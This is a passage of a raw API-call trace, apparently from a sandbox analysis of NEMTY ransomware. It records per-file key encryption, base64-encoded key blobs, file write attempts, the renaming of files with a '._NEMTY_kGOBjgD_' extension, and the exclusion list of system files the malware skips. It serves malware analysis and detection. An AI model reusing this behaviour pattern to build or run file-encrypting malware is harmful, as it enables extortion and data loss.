CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0055.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0055.973] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="lDVmZlUaaL2wn5BXrUOhCEZrEQgw7acA15zmKEoGgGPt3rq66EQQ9fPkMkcIu6YB\r\nSw/UV3mAP1/Yv87NxlPuz45BS9ejd/sBGXNyaUvvhxTqgK5mkqaL9UsNifN3jauL\r\nni4Zd3S5FnInl9LBJmTtCF1W/VZGn8WdfIBCJyonXQsEa4JPNl24PelDUkffZS+8\r\nmpF4k+6NSs0aP9B70Qfi2V0GIq/JNBTUz+UkXnEZN7Acho0o5zRNjT4GTAV58zvd\r\nSd4XUQHaqjxjKXsHsQwEyJ5d1GatQ5Z6dUVrkJX8OGO/MMYb8Bk9W6Xv4af2PrvL\r\ngDVr2nWIOdKw6xP26FfzFA==\r\n", pcchString=0x653e91c) returned 1 [0055.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0055.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0055.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0055.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0055.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0055.973] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.974] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0055.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0055.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0056.090] CloseHandle (hObject=0xffffffff) returned 0 [0056.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0056.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0056.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0056.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0056.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0056.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0056.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0056.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0056.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0056.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0056.090] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png._nemty_kgobjgd_")) returned 0 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.091] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2=".") returned 1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="..") returned 1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="...") returned 1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="windows") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="$RECYCLE.BIN") returned 1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="rsa") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="NTDETECT.COM") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntldr") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="MSDOS.SYS") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="IO.SYS") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="boot.ini") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="boot.ini") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="AUTOEXEC.BAT") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntuser.dat") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="desktop.ini") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="CONFIG.SYS") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="RECYCLER") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="BOOTSECT.BAK") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootmgr") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="programdata") returned -1 [0056.091] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="appdata") returned -1 [0056.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0056.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x0) returned 25 [0056.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0056.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0056.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x0) returned 25 [0056.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0056.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0056.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x0) returned 25 [0056.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0056.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x0) returned 25 [0056.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0056.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0056.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0056.092] Sleep (dwMilliseconds=0x5) [0056.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5151530, dwHighDateTime=0x1d561e7)) [0056.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5151530, dwHighDateTime=0x1d561e7)) [0056.096] GetLastError () returned 0x5 [0056.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.096] GetLastError () returned 0x5 [0056.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0056.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0056.096] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0056.096] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0056.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0056.096] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="z3VUJrG7tt742vBy/KqVBO/vdfqumqObrjphzJTJ6HuzSzyMnCjrF1AXdSQTEAZh\r\nUqFuzrevNDqsCQYeGYQ5+EIpiBos6YNnM7Ux5V0gIJVKs4T2udcG3ZhubZY0/G9f\r\nSiALFZ84dbVHc3xlIyChEHmfKHQYTwI3FTRR90d8VC9dbESBHzbeto+umgXeeH7H\r\nFfqMib7VM3q8VvKX793WZsTH0MpTMAotAzfnYpry1M1Yu4Q0w/cb4xDza5GzEM04\r\nobs1tHsn0g/8V6BvNIs6h3wKVBz1Lg7niyF0E1YkXrMWGWYkn7570aQg5+wDEnIL\r\n0Jp4qq64EHR4EBf7HQPIeQ==\r\n", pcchString=0x653e91c) returned 1 [0056.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0056.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0056.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0056.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0056.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0056.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0056.097] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0056.097] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0056.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 